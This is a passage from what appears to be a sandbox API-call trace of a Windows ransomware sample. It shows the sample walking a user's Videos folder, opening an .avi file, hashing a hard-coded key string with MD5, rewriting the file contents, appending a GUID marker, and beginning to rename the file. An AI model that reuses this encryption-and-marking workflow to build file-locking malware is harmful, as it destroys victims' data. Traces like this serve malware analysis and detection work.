RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.880] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.880] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.881] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.881] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.882] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.883] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.883] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\") returned="VAY0f6Tek5y2drs\\" [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.884] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075238 [0127.884] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.884] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\") returned="16cC5\\" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a06b8 [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075238 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\") returned="FlfRA9\\" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a06b8 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.885] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.885] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.885] PathFindFileNameW (pszPath="") returned="" [0127.885] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.885] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6e260, ftCreationTime.dwHighDateTime=0x1d4cef2, ftLastAccessTime.dwLowDateTime=0xbf2bed20, ftLastAccessTime.dwHighDateTime=0x1d4c674, ftLastWriteTime.dwLowDateTime=0xbf2bed20, ftLastWriteTime.dwHighDateTime=0x1d4c674, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.888] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6e260, ftCreationTime.dwHighDateTime=0x1d4cef2, ftLastAccessTime.dwLowDateTime=0xbf2bed20, ftLastAccessTime.dwHighDateTime=0x1d4c674, ftLastWriteTime.dwLowDateTime=0xbf2bed20, ftLastWriteTime.dwHighDateTime=0x1d4c674, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.888] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfee28580, ftCreationTime.dwHighDateTime=0x1d4d07b, ftLastAccessTime.dwLowDateTime=0xb6e86280, ftLastAccessTime.dwHighDateTime=0x1d4d4e1, ftLastWriteTime.dwLowDateTime=0xb6e86280, ftLastWriteTime.dwHighDateTime=0x1d4d4e1, nFileSizeHigh=0x0, nFileSizeLow=0x534c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9tDINHGgROIz00XY.avi", cAlternateFileName="9TDINH~1.AVI")) returned 1 [0127.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.888] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x106) returned 0x3068fd8 [0127.888] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.888] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\9tDINHGgROIz00XY.avi") returned=".avi" [0127.888] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\9tDINHGgROIz00XY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\9tdinhggroiz00xy.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.889] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=21324) returned 1 [0127.889] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.891] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x5326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.891] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.893] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.893] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.893] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x534c, lpOverlapped=0x0) returned 1 [0127.893] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.893] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.893] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.894] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.894] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a06b8) returned 1 [0127.894] CryptCreateHash (in: hProv=0x6a06b8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.894] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.894] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.894] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.894] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.895] GetLastError () returned 0x0 [0127.895] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.895] CryptReleaseContext (hProv=0x6a06b8, dwFlags=0x0) returned 1 [0127.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.895] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x5350) returned 0x30fa0b0 [0127.895] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.895] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x5347, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x5347, lpOverlapped=0x0) returned 1 [0127.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.895] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x534c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.895] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.895] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.895] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.895] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.895] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.896] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.896] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.896] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.896] CloseHandle (hObject=0x624) returned 1 [0127.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x30072c8 [0127.897] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e0) returned 0x30fa0b0 [0127.897] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30072c8 | out: hHeap=0x5c0000) returned 1 [0127.897] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\VAY0f6Tek5y2drs\\9tDINHGgROIz00XY.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\vay0f6tek5y2drs\\9tdinhggroiz00xy.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 